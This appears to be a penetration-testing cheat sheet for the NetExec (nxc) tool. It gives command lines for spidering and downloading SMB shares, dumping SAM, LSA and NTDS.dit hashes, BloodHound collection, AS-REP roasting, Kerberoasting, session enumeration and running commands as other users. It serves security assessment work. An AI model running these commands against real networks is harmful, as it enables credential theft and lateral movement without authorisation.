NetExec

NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks. It is based on CrackMapExec, which makes the tool familiar to use.
Personally, I think the modules from NetExec make it worth to use the tool.
SMB spidering shares
Spider and export all files from shares:
nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=TrueList all readable files:
nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plusDumping hashes
Dumping SAM
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --samDumping LSA
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsaDumping from NTDS.dit
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vssBloodhound
If you have creds, you can use nxc to get a zip or .json files for bloodhound
nxc ldap <ip> -u user -p pass --bloodhound -ns <ns-ip> --collection AllAS-REP Roasting
Only one user
nxc ldap 192.168.0.104 -u harry -p '' --asreproast output.txtList including usernames
nxc ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txtKerberoasting
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txtSMB logged on users
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-usersSMB active sessions
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessionsSMB Execute commands on behalf of other users
nxc smb <ip> -u <localAdmin> -p <password> -M schtask_as -o USER=<logged-on-user> CMD=<cmd-command>
Last updated